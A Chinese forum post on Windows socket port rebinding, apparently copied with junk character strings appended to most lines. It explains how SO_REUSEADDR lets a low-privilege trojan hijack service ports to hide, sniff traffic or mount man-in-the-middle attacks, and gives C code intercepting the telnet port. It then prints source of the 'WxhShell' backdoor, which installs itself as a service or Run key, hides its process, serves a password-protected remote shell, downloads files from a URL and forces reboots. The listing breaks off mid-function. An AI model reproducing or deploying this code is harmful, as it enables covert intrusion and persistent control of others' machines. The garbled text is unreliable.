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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a[u8x mH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5M(?_qj  
FxUH ?%w  
  saddr.sin_family = AF_INET; uaGg8  
Ff,M ~zn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (&B & V  
b)V[d8IA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Gq{v)iN  
0s8S`hCn>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SUx0!_f*R  
E8nqEx Q  
  这意味着什么?意味着可以进行如下的攻击: kz&)a>aA  
W t8 RC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 khIh<-s!  
J3zb_!PPE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =y4g. J\  
kSJWQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $""[( d?0  
7!%cKZCY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $ey<8qzp  
h8h4)>:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]EK"AuEz`  
'[HFIJ0K!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 saV3<zgx  
s9Xeh"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *=I#VN*_<.  
$nVTN.k  
  #include V^0*S=N  
  #include $'&5gFr9  
  #include vxwctJ&  
  #include    _zOzHc?Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /Ly%-py-$  
  int main() ctCfLlK  
  { )~5`A*Ku  
  WORD wVersionRequested; $DMeUA\av  
  DWORD ret; a"v D+r7Ol  
  WSADATA wsaData; dFUsQ_]<  
  BOOL val; IOJfv8  
  SOCKADDR_IN saddr; s<5t}{x  
  SOCKADDR_IN scaddr; prwyP  
  int err; C*KRu`t  
  SOCKET s; _Y0o\0B  
  SOCKET sc; >Z3}WMgBN  
  int caddsize; fLy s$*^)^  
  HANDLE mt; &&m%=i.qK  
  DWORD tid;   ,wq.C6;&  
  wVersionRequested = MAKEWORD( 2, 2 ); `@ `CZg  
  err = WSAStartup( wVersionRequested, &wsaData ); % va/x]K  
  if ( err != 0 ) { +EpT)FJX  
  printf("error!WSAStartup failed!\n"); J#D!J8KP7  
  return -1; U{;i864:}  
  } h?TE$&CL?  
  saddr.sin_family = AF_INET; YZoudX'"  
   KavRW.w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3QF!fll^  
q/Gy&8 K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [<%yUy  
  saddr.sin_port = htons(23); u54+oh|,M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $;@s  
  { 8kqxr&,[  
  printf("error!socket failed!\n"); *</;:?  
  return -1; b\^.5SEw  
  } /fD)/x  
  val = TRUE; r)b`3=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ny MA%9,B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P8TiB  
  { Qn<< &i~  
  printf("error!setsockopt failed!\n"); iWvgCm4  
  return -1; Ii"cDH9  
  } rbJ-vEzo.#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l&C%oW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O}D]G%,m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _h.[I8xgYG  
eLt6Hg)s`9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1LE8,Gm&  
  { H8\N~>  
  ret=GetLastError(); hwO]{)%  
  printf("error!bind failed!\n"); }R J2\CP  
  return -1; GI~;2 `V  
  } S</" ^C51J  
  listen(s,2); F\XzP\  
  while(1) 7lh%\  
  { 5%W3&F6 %  
  caddsize = sizeof(scaddr); un\"1RdO  
  //接受连接请求 Z1>pOJm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PvA%c<z  
  if(sc!=INVALID_SOCKET) i %z}8GIt'  
  { AQFx>:in  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2S/^"IM["  
  if(mt==NULL) 8Mp  
  { \"f}Fx  
  printf("Thread Creat Failed!\n"); Bd7A-T)q!  
  break; ;z[yNW8  
  } mMa7Eyaf  
  } CjO/q)vV  
  CloseHandle(mt); eDy}_By^  
  } =|jOio=s:  
  closesocket(s); v=/V<3  
  WSACleanup(); |g7E*1Ie  
  return 0; }b+=,Sc"  
  }   ^%_LA't'R  
  DWORD WINAPI ClientThread(LPVOID lpParam) >`lf1x  
  { a1Gy I  
  SOCKET ss = (SOCKET)lpParam; G& ;W  
  SOCKET sc; eR3!P8t  
  unsigned char buf[4096]; 0 ">#h  
  SOCKADDR_IN saddr; TM"i9a? ;  
  long num; MLp5Y\8*  
  DWORD val; CE?R/uNo{  
  DWORD ret; [,fMh $t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "r|O /   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Et7AAV*8g  
  saddr.sin_family = AF_INET; r_ o2d8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5:AAqMa  
  saddr.sin_port = htons(23); aoCyYnZD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t=U[ ;?  
  { AU >d1S.  
  printf("error!socket failed!\n"); gsAcn  
  return -1; U"ga0X5  
  } 3"<{YEj8U  
  val = 100; O[8Lp?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LtNG<n)_BH  
  { "3!4 hiU9  
  ret = GetLastError(); m6JIq}CMb  
  return -1; z?cRsqf  
  } }]f)Fz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @ VJr0  
  { 0tl  
  ret = GetLastError(); *ZY{^f  
  return -1; 3<Cd >o.  
  } M.t5,NJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T%ha2X=  
  { / P{f#rV5  
  printf("error!socket connect failed!\n"); /.}&yRR  
  closesocket(sc); )ll}hGS  
  closesocket(ss); MEo+S  
  return -1; Ib!`ChZ  
  } !.F`8OD`u  
  while(1)  ) .#,1  
  { (I\aGGW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :yO)g]KF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H,?AaM[V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2o{Fp7l  
  num = recv(ss,buf,4096,0); J4x1qY)Y&v  
  if(num>0) 56L>tP  
  send(sc,buf,num,0); ?X=9@m  
  else if(num==0) $3FFb#r  
  break; E|ZY2&J`4  
  num = recv(sc,buf,4096,0); ey y&JjVs  
  if(num>0) gBrIqM i5  
  send(ss,buf,num,0); ZL-@2ZU{1  
  else if(num==0) dp+wwNe  
  break; lMlXK4-  
  } w \85D|u  
  closesocket(ss); X, J.!:4`  
  closesocket(sc); [5:F  
  return 0 ; rs!J<CRq  
  } - 5A"TNU  
|~'{ [?a*  
Q%@l`V)Rs  
========================================================== 8 v&5)0u  
0xH$!?{b  
下边附上一个代码,,WXhSHELL 5vY1 XZt{  
U^Hymgb%  
========================================================== d<#Xqc  
VP|9Cm=Fg  
#include "stdafx.h" `kFxq<?aK  
  }/M ~  
#include <stdio.h> o.sa ?*  
#include <string.h> 3}XUYF;  
#include <windows.h> ;)UZT^f`)K  
#include <winsock2.h> II),m8G  
#include <winsvc.h> =#uXO<   
#include <urlmon.h> "j~=YW+l  
haB$W 4x  
#pragma comment (lib, "Ws2_32.lib") ) D(XDN  
#pragma comment (lib, "urlmon.lib") AEEy49e  
|f`!{=?  
#define MAX_USER   100 // 最大客户端连接数 I_N"mnn@Nr  
#define BUF_SOCK   200 // sock buffer lOYwYMi  
#define KEY_BUFF   255 // 输入 buffer dpTap<Noby  
I'J=I{p*  
#define REBOOT     0   // 重启 9;q@;)'5  
#define SHUTDOWN   1   // 关机 u\>Ed9^  
w Gw}a[a  
#define DEF_PORT   5000 // 监听端口 F4d L{0;j  
oXfLNe6>L  
#define REG_LEN     16   // 注册表键长度 ]`+>{Sx 1  
#define SVC_LEN     80   // NT服务名长度 a*=\-;HaZ  
dB< \X.   
// 从dll定义API U4 M!RdG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z\TH=UA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &W}ooGg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AnIENJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3\6jzD  
:0#!=  
// wxhshell配置信息 eF:6k qg  
struct WSCFG { G4ZeO:r  
  int ws_port;         // 监听端口 :m-HHWMN  
  char ws_passstr[REG_LEN]; // 口令 6ffrV  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2Xgn[oI{  
  char ws_regname[REG_LEN]; // 注册表键名 5a-8/.}cP  
  char ws_svcname[REG_LEN]; // 服务名 t3G%}d?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v@< "b U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FWPkvL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #2Mz.=#G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nwW `Q>+#U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0 R^Xn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HOXqIZN85  
5Sk87o1E(d  
}; qH"e: wgL  
L +-B,466  
// default Wxhshell configuration { 5h6nYu  
struct WSCFG wscfg={DEF_PORT, %-H  
    "xuhuanlingzhe", Vk8:;Hj  
    1, 9%iqequ  
    "Wxhshell", L,Uqt,  
    "Wxhshell", ~h0SD(  
            "WxhShell Service", oZP:}= F  
    "Wrsky Windows CmdShell Service", HL*jRl  
    "Please Input Your Password: ", CEZ*a 0}=  
  1, aRg- rz  
  "http://www.wrsky.com/wxhshell.exe", aY8>#t?  
  "Wxhshell.exe" Y~bp:FkS  
    }; ;nSaZ$`5  
T3!l{vG \O  
// 消息定义模块 'szkn0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ow mI*`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @ttcFX1:W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5-aCNAF2  
char *msg_ws_ext="\n\rExit."; Q!|. ,?V  
char *msg_ws_end="\n\rQuit."; }fL8<HM\'c  
char *msg_ws_boot="\n\rReboot..."; c\"oj&>A  
char *msg_ws_poff="\n\rShutdown..."; t$rWE|+_z  
char *msg_ws_down="\n\rSave to "; qD Nqd  
KZ;U6TBiB  
char *msg_ws_err="\n\rErr!"; aFd ,   
char *msg_ws_ok="\n\rOK!"; <86upS6  
1rT}mm/e;  
char ExeFile[MAX_PATH]; '2v,!G]^  
int nUser = 0; n%@xnB $ZX  
HANDLE handles[MAX_USER]; ) T 3y,*  
int OsIsNt; d v"  
|L<oKMZY  
SERVICE_STATUS       serviceStatus; \S1WF ?<,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ogDyrY}]  
OZ$u&>916  
// 函数声明 xOPSw|!w  
int Install(void); Vz51=?75  
int Uninstall(void); js'* :*7  
int DownloadFile(char *sURL, SOCKET wsh); Xpjk2[,  
int Boot(int flag); 0.bmVN<  
void HideProc(void); B1J+`R3OX  
int GetOsVer(void); ~@MIG  
int Wxhshell(SOCKET wsl); [Gysx  
void TalkWithClient(void *cs); BX2&tQSp  
int CmdShell(SOCKET sock); ;sCX_`t0E  
int StartFromService(void); 03AYW)"}M  
int StartWxhshell(LPSTR lpCmdLine); yz,ak+wp  
1&U'pp|T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rJ KX4,M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DJT)7l{  
phEM1",4T  
// 数据结构和表定义 nD!C9G#oS  
SERVICE_TABLE_ENTRY DispatchTable[] = @U:WWTzf  
{ sw8Ic\vT  
{wscfg.ws_svcname, NTServiceMain}, o#Rao#bD:  
{NULL, NULL} UYGl  
}; 5qR76iH) /  
,5H$Tm,6\S  
// 自我安装 ayHI(4!$j  
int Install(void) |]Pigi7y-  
{ #li;L  
  char svExeFile[MAX_PATH]; $A8eMJEpL  
  HKEY key; [}}oHm3&  
  strcpy(svExeFile,ExeFile); \D>'  
V=QvwQlZ  
// 如果是win9x系统,修改注册表设为自启动 @N1ta-D#  
if(!OsIsNt) { el 5F>)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E}.cz\!.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;m@>v?zE  
  RegCloseKey(key); uWvl<{2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * vEG%Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?r2Im5N  
  RegCloseKey(key); I&1h/  
  return 0; R qOEQ*k  
    } SL>>]A,E<`  
  } >c8zMd  
} VBBqoyP h  
else { "?}QwtUW  
 Js'COO  
// 如果是NT以上系统,安装为系统服务 l?Bv9k.^?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3eFD[c%mN  
if (schSCManager!=0) ir3iW*5k  
{ Jel%1'Dc^  
  SC_HANDLE schService = CreateService 1h"0B  
  ( jQ1~B1(  
  schSCManager, ~ m, z|  
  wscfg.ws_svcname, z| i$eF;x3  
  wscfg.ws_svcdisp, HC+(FymV  
  SERVICE_ALL_ACCESS, $BkdC'D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,dK%[  
  SERVICE_AUTO_START, ezC55nm  
  SERVICE_ERROR_NORMAL, eNi.d;8F  
  svExeFile, %ktU 51o  
  NULL, Y')in7g  
  NULL, ukzXQe;l1  
  NULL, W~Eq_J?I  
  NULL, x]Q+M2g?  
  NULL }us%G&A2u  
  ); _dIv{L!  
  if (schService!=0) _H<ur?G  
  { -Y2h vC  
  CloseServiceHandle(schService); C(7LwV  
  CloseServiceHandle(schSCManager); Hg*6I%D[So  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xGPt5l<M&  
  strcat(svExeFile,wscfg.ws_svcname); V?0|#=_mE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3QM.X^ANH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |P>> ^,iUn  
  RegCloseKey(key); 2px l!  
  return 0; ?v8B;="#w  
    } VL7zU->  
  } OfbM]:}<3  
  CloseServiceHandle(schSCManager); u L/*,[}'  
} f*bs{H'5  
} 2Q-kD?PO,  
`+k&]z$m  
return 1; \CX`PZ><  
} adHHnH`,  
6(<M.U_ft  
// 自我卸载 b?h"a<7  
int Uninstall(void) r6*0H/*  
{ i,$*+2Z  
  HKEY key; d+ql@e]  
9Z6O{ >  
if(!OsIsNt) {  Z:u7`%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AIN_.=]"?  
  RegDeleteValue(key,wscfg.ws_regname); ~^KemwogPN  
  RegCloseKey(key); /8 Ca8Ju  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f\2'/g}6a  
  RegDeleteValue(key,wscfg.ws_regname); '~<D[](/F  
  RegCloseKey(key); *"q ~z  
  return 0; "a>%tsl$K  
  } Q R\qGhQ~  
} 'FO^VJ;ha  
} O`rAqO0F  
else { ){icI <  
i[T!{<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q71Tg  
if (schSCManager!=0) ;, 'eO i  
{ $l0^2o=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); haqL DVrf  
  if (schService!=0) j""u:l^+x  
  { &AoXv`l4  
  if(DeleteService(schService)!=0) { !sK{:6s  
  CloseServiceHandle(schService); ;_1D-Mf  
  CloseServiceHandle(schSCManager); :&9#p% /  
  return 0; N=)N   
  } maXQG&.F  
  CloseServiceHandle(schService); Nq9@^ E-{M  
  } KZsSTB6J  
  CloseServiceHandle(schSCManager); YDz:;Sp\  
} o%RyE]pw,  
} 7K%Ac  
B ,e3r  
return 1; AdKv!Ta5b  
} 1`X{$mxw  
xpRQ"6  
// 从指定url下载文件 AQ'~EbH(  
int DownloadFile(char *sURL, SOCKET wsh) ?.,..p  
{ LmseY(i N  
  HRESULT hr; P8:k"i/6J  
char seps[]= "/"; q: ?6  
char *token; cOxF.(L  
char *file; gR?=z}`@p  
char myURL[MAX_PATH]; 305()  
char myFILE[MAX_PATH]; jaFBz&P/#  
u01x}Ff~6  
strcpy(myURL,sURL); tg7%@SI5^-  
  token=strtok(myURL,seps); HT[<~c  
  while(token!=NULL) yAW%y  
  { <x53b/ft  
    file=token; [?.k8;k  
  token=strtok(NULL,seps);  r@/+  
  } |z-A;uL<  
v0apEjT  
GetCurrentDirectory(MAX_PATH,myFILE); diaLw  
strcat(myFILE, "\\"); :BN qr[=b  
strcat(myFILE, file); wS hsu_(i  
  send(wsh,myFILE,strlen(myFILE),0); /!P,o}l7  
send(wsh,"...",3,0); 9]xOu Cb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LS?3 >1g  
  if(hr==S_OK) )xoIH{  
return 0; Pz:,q~  
else !c[?$#W4  
return 1; z^ rf;  
oDrfzm|[Y  
} l> W?XH  
zr-HL:js  
// 系统电源模块 `DUMTFcMX  
int Boot(int flag) K_G( J>  
{ #||^l_  
  HANDLE hToken; u$X [=  
  TOKEN_PRIVILEGES tkp; ;1'X_tp  
`gDpb.=Y  
  if(OsIsNt) { Uz} #.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !NuiVC]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  zN: VT&  
    tkp.PrivilegeCount = 1; N>/!e787OU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8Mf6*G#Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^mv F%"g  
if(flag==REBOOT) { .hzzoLI2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -r@fLkwg  
  return 0; #.'0DWT \-  
} +C' u!^ )  
else { {^a"T'+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  iVu  
  return 0; ~k^rIjR  
} J<'[P$D  
  } @n"7L2wY  
  else { ~:'tp28?  
if(flag==REBOOT) { jhgS@g=@ZC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :PE{2*  
  return 0; <2"'R(4",  
} WXV(R,*Tc  
else { 2Tec#eYe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (~q.YJ'  
  return 0; w$[&ejFb  
} B52n'.  
} $P&{DOiKS  
n=J~Rssp  
return 1; wI8  
} ,h,OUo]LIY  
R/ix,GC  
// win9x进程隐藏模块 P{fT5K|  
void HideProc(void) u atY:GSR  
{ `?f6~$1  
d9e_slx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -@L7! ,j  
  if ( hKernel != NULL ) nsn  
  { fIe';a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J_ NY:B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \kWL:uU  
    FreeLibrary(hKernel); -LzkM"  
  } A0X'|4I  
2tD{c^ 9<  
return; Iue}AGxu:{  
} ,2oFt\`.r  
]Q0m]OaT  
// 获取操作系统版本 #O 2g]YH  
int GetOsVer(void) Hi%)TDfv  
{ ]bxBo  
  OSVERSIONINFO winfo; @7UZ{+67*C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gxnIur)  
  GetVersionEx(&winfo); dynkb901s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *.%z  
  return 1; abMB-  
  else ) XCG4-1  
  return 0; >AK9F. _z  
} n8 UG{. =  
^AhV1rBB  
// 客户端句柄模块 u00w'=pe)  
int Wxhshell(SOCKET wsl) T<? (KW  
{ :1asY:)vNP  
  SOCKET wsh; \-Vja{J]  
  struct sockaddr_in client; tTEw"DL_-  
  DWORD myID; .*}!XKp0j  
:j2?v(jT_l  
  while(nUser<MAX_USER) :2t0//@X  
{ gn//]|#H+  
  int nSize=sizeof(client); izDfpr}s4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &u`EYxT  
  if(wsh==INVALID_SOCKET) return 1; i?wEd!=w  
1X5MknA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "DO|B=EejP  
if(handles[nUser]==0) rU4;yy*b  
  closesocket(wsh); p=!12t  
else MO^Q 8v  
  nUser++; ^>wlj  
  } &x?m5%^l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _D 9/,n$  
:6gRoMb]  
  return 0; h+rW%`B  
} C5Vlqc;  
d`gKF  
// 关闭 socket aD^jlt  
void CloseIt(SOCKET wsh) NufRd/q  
{ ayYl3  
closesocket(wsh); MgO_gFr  
nUser--; < ]"Uy p  
ExitThread(0); _-|/$ jZ  
} _u3%16,o  
2P/ Sq  
// 客户端请求句柄 F/SYmNp  
void TalkWithClient(void *cs) R ;k1(p  
{ VUon>XQ G  
VTUSM{TC  
  SOCKET wsh=(SOCKET)cs; uc{s\_  
  char pwd[SVC_LEN]; l{I.l  
  char cmd[KEY_BUFF]; /IQ$[WR cx  
char chr[1]; |&"/u7^  
int i,j; `h%K8];<6f  
6t\0Ui  
  while (nUser < MAX_USER) { G %A!yV  
a[VX)w_W{  
if(wscfg.ws_passstr) { w=_q<1a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }y1r yeW<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .[r1Qz7G  
  //ZeroMemory(pwd,KEY_BUFF); 1l5'N=hL  
      i=0; +H:}1sT;n  
  while(i<SVC_LEN) { z6*r<>Bf+b  
^ Paf-/  
  // 设置超时 B&QEt[=s  
  fd_set FdRead; 6&+}Hhe  
  struct timeval TimeOut; 0.\}D:x(z  
  FD_ZERO(&FdRead); x) jc  
  FD_SET(wsh,&FdRead); ?8qN8rk^+  
  TimeOut.tv_sec=8; 5O(U1 *  
  TimeOut.tv_usec=0; %I=/ y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wRdN(`;v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EK.n $  
SoWMP2/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n-9a 0_{k  
  pwd=chr[0]; uZTbJ3$$  
  if(chr[0]==0xd || chr[0]==0xa) { 2KlVj]!7  
  pwd=0; &^`[$LtYd  
  break; shD4";8*@  
  } B)*1[Jf{4  
  i++; :9DyABK=Cv  
    } \JC_"gqt  
2 g~W})e  
  // 如果是非法用户,关闭 socket 75pn1*"gQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4/V;g%0uN;  
} TNDp{!<|L;  
Q@"}v_r4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )<%CI#s#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K]1| #`n  
b")O#v.  
while(1) { Z;z,dw  
m 7S`u  
  ZeroMemory(cmd,KEY_BUFF); 27i-B\r  
l_s#7.9$  
      // 自动支持客户端 telnet标准   x~i\*Ox^  
  j=0; DS+BX`i%#p  
  while(j<KEY_BUFF) { _ FNW[V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OHwH(}H?  
  cmd[j]=chr[0]; 194n   
  if(chr[0]==0xa || chr[0]==0xd) { O2":)zU.  
  cmd[j]=0; z6Fl$FFP  
  break; ZA&bp{}D  
  } mBEMwJ}O`  
  j++; ~|[i64V<^  
    } ![!,i\x  
Q,M,^_  
  // 下载文件 r0wAh/J|  
  if(strstr(cmd,"http://")) { ]4/C19Fe!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KRX\<@  
  if(DownloadFile(cmd,wsh)) !3<b#QAXRG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p1[|5r5Day  
  else HWIn.ij  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \T[OF8yhW  
  } 6B]i}nFH{+  
  else {  f,kV  
^;K"Y'f$  
    switch(cmd[0]) { >(_2'c*[w  
  g:.LCF  
  // 帮助 ^I9U<iNIL  
  case '?': { ^F qs,^~W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \PD%=~  
    break; ?VCp_Ji  
  } g\9&L/xDN  
  // 安装 nI4oQE  
  case 'i': { z0x^HDAeC  
    if(Install()) ^?_MIS`4N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;s#I b_  
    else 3kh!dL3D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E^Ch;)j|  
    break; mN l[D  
    } PZvc4  
  // 卸载 AHMvh 7O?  
  case 'r': { A8QUfg@uK~  
    if(Uninstall()) k.})3~F-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nltOX@P-  
    else U\W$^r,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1cx%+-  
    break; TD-B\ @_  
    } _>)@6srC  
  // 显示 wxhshell 所在路径 PT~F ^8,)  
  case 'p': { oB@)!'  
    char svExeFile[MAX_PATH]; cuI&Q?+c}  
    strcpy(svExeFile,"\n\r"); A6+qS [  
      strcat(svExeFile,ExeFile); >0u*E *Y  
        send(wsh,svExeFile,strlen(svExeFile),0); Q"Exmn3p  
    break; <pXOE- G5  
    } 1;+77<  
  // 重启 tKeozV[V  
  case 'b': { -7XaS&.4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,S m?2<  
    if(Boot(REBOOT)) cd~QGP_C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i!fk'Yt%  
    else { {MN6JGb|'  
    closesocket(wsh); YzJWS|]  
    ExitThread(0); p.<d+S<  
    } V3T.EW  
    break; h#Mx(q  
    } C?MKb D=K  
  // 关机 zlB[Eg^X  
  case 'd': { v9!] /]U^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *>!-t   
